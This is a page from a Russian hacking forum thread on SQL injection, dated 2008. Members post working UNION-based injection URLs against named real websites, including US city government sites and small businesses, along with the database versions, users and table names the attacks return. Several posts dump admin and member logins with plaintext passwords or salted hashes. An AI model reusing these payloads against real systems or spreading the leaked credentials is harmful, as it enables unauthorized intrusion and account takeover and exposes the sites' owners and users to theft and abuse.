ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 645 из 1239 « Первая < 145545595635 641 642 643 644 645 646 647 648 649 6556957451145 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 07.09.2008, 15:12
Аватар для USAkid
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию
http://www.irvconsulex.cz/

Код:
http://www.irvconsulex.cz/administrator/components/com_astatspro/refer.php?id=-1+union+select+1,2,concat_ws(version(),0x3a,user(),0x3a,database())--
version() - 4.1.18-log
user() - irvconsulex-cz@localhost
database() - logirvconsulex-cz

Админ:
Код:
http://www.irvconsulex.cz/administrator/components/com_astatspro/refer.php?id=-1+union+select+1,2,concat_ws(username,0x3a,password)+from+jos_users+limit+0,1--
login/hash/salt:

admin : 506e5a43e1ed6052fc003c157483b73d : IUsUB8uMKz7Qt2wJ
 
Ответить с цитированием

  #2  
Старый 07.09.2008, 22:01
Аватар для [Dezzter]
[Dezzter]
Участник форума
Регистрация: 26.11.2007
Сообщений: 266
Провел на форуме:
3412198

Репутация: 341
По умолчанию
Цитата:
http://www.tricitysra.org/display?help=Information&topic='+union+select+1,2, 3,4,5,6,7,8,9,0,1,concat( version(),char(58),database(),char(58),user()),3,4 ,5/*
5.0.45:tri:tri@localhost
 
Ответить с цитированием

  #3  
Старый 08.09.2008, 09:00
Аватар для N1K70
N1K70
Banned
Регистрация: 02.01.2008
Сообщений: 195
Провел на форуме:
523549

Репутация: 301
Отправить сообщение для N1K70 с помощью ICQ
По умолчанию
Proover.Com
Код:
http://proover.com/search_results.php?cid=-1/**/union/**/select/**/1,user(),3,4,5,6--
=\\\
 
Ответить с цитированием

  #4  
Старый 08.09.2008, 09:24
Аватар для USAkid
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию
Цитата:
Сообщение от N1K70  
Proover.Com
Код:
http://proover.com/search_results.php?cid=-1/**/union/**/select/**/1,user(),3,4,5,6--
=\\\
Интересно по нему лазить, раскрутил бы дальше

Версия > 5 => узнаем пасс легко.
Код:
http://proover.com/search_results.php?cid=-1+union+select+1,column_name,3,4,5,6+from+information_schema.columns+where+table_name=0x457368705f6d656d62657273--
Тэкс, Es_pwd и admin_name то, что нас интересует.

Код:
http://proover.com/search_results.php?cid=-1+union+select+1,concat_ws(es_admin_name,0x3a,es_pwd)3,4,5,6+from+eshp_admin--
Получаем Admin:A

Полезли в мемберс:
Код:
http://proover.com/search_results.php?cid=-1+union+select+1,concat_ws(es_username,0x3a,es_password),3,4,5,6+from+eshp_members+limit+2,1--
И вот пошли логины с пассами.
Пассы открытые
 
Ответить с цитированием

  #5  
Старый 08.09.2008, 13:16
Аватар для Cennarios
Cennarios
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497

Репутация: 303
Отправить сообщение для Cennarios с помощью ICQ
По умолчанию
http://www.scooter-center.ru/detail/?id=-1+union+select+concat(0x3a3a,login,0x3a3a,password ,0x3a3a),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22+from+cmf3_sc.bof_users+limit+0,1/*

login: wolf pass: 123
--------------------------------------------------

http://www.travelnetcuba.it/hotels.php?id_hotel=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat(table_n ame,0x3a3a,table_schema),12,13,14,15,16,17,18,19,2 0,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+ from+information_schema.tables+limit+37,1/*

login: lorenzo
pass: 883777
--------------------------------------------


http://www.ipiccolissimi.it/root/catalogo.php?cat=1&tipologia=1&idMacro=37&idMicro=-1+union+select+1,concat(0x3a3a,login,0x3a3a,passwo rd)+from+utenti+limit+0,1/*
login: ipiccolissimi
pass: natura06thamm04

---------------------------------------------
 
Ответить с цитированием

  #6  
Старый 08.09.2008, 14:04
Аватар для USAkid
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию
.us

Код:
http://www.turkuaz.us/content.php?magId=-25+union+select+1,2,3,4,concat_ws(version(),0x3a,user(),0x3a,database()),6,7--
version() - :4.1.22
user() - turkuaz-us@89.106.12.59
database() - turkuazus
 
Ответить с цитированием

  #7  
Старый 08.09.2008, 14:27
Аватар для USAkid
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию
http://laneuse.ci.minneapolis.mn.us

Код:
http://laneuse.ci.minneapolis.mn.us/closure.php?pn=1+union+select+concat_ws(version(),0x3a,user(),0x3a,database()),2,3,4,5--
version() - 5.0.58
user() - traffic7@localhost
database() - tmo

До пасса добраться удалось, он в открытом виде:
Код:
http://laneuse.ci.minneapolis.mn.us/closure.php?pn=1+union+select+concat_ws(login,0x3a,password),2,3,4,5+from+users+limit+0,1--
Login/password:

jason / bond007 (пасс улыбнул)...

--------------------------------------------------------------------
Еще чуть-чуть (тож .us):
http://mobile.sugarcube.us
Код:
http://mobile.sugarcube.us/details.php?id=-1+union+select+1,concat_ws(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11--

version() - 4.0.27-max-log
user() - newvintage@64.202.163.213
database() - newvintage
Последний раз редактировалось USAkid; 08.09.2008 в 14:38..
 
Ответить с цитированием

  #8  
Старый 08.09.2008, 14:56
Аватар для USAkid
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию
И еще немного .us

http://www.ultrashine.us

Код:
http://www.ultrashine.us/product_item.php?cat=&item=-7+union+select+1,concat_ws(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14--
version() - 4.0.27-max-log
user() - dbo206430733@74.208.16.924.0.27
database() - db206430733

--------------------------------------------------------------------

http://www2.ci.poway.ca.us/

Код:
http://www2.ci.poway.ca.us/pcpa/pcpadetail.php?eventid=176+union+select+1,concat_ws(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13--
version() - 5.0.60-log
user() - powaycity@localhost
database() - powaycity
 
Ответить с цитированием

  #9  
Старый 08.09.2008, 18:39
Аватар для MirA
MirA
Новичок
Регистрация: 24.07.2008
Сообщений: 29
Провел на форуме:
109513

Репутация: 52
Отправить сообщение для MirA с помощью ICQ
По умолчанию
http://www.uniprod.ru

алкошоп)

version() = 4.1.22
user() = uniprod@localhost
database() = wwwuniprodru

http://www.uniprod.ru/mods.php?name=shop&action=goodsinfo&id=-272+union+select+1,2,3,4,concat_ws(0x3a3a3a,versio n(),user(),database())/*

есть табличка fs_users с полями:
uname
passwd
uid
email

вот конечный запрос,пассы в md5, но в основном есть в он-лайн базах...

http://www.uniprod.ru/mods.php?name=shop&action=goodsinfo&id=-272+union+select+1,2,3,4,concat_ws(0x3a3a3a,uname, email,passwd)+from+fs_users+limit+0,1/*
 
Ответить с цитированием

  #10  
Старый 09.09.2008, 12:08
Аватар для winstrool
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию
http://www.avtosreda.ru/new/meropr.php?id=-16+union+select+concat_ws(0x3a,id,user_name,user_p ass,user_mail,user_icq)+from+itaf_user+limit+0,1/*
 
Ответить с цитированием
Ответ
Страница 645 из 1239 « Первая < 145545595635 641 642 643 644 645 646 647 648 649 6556957451145 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT.XYZ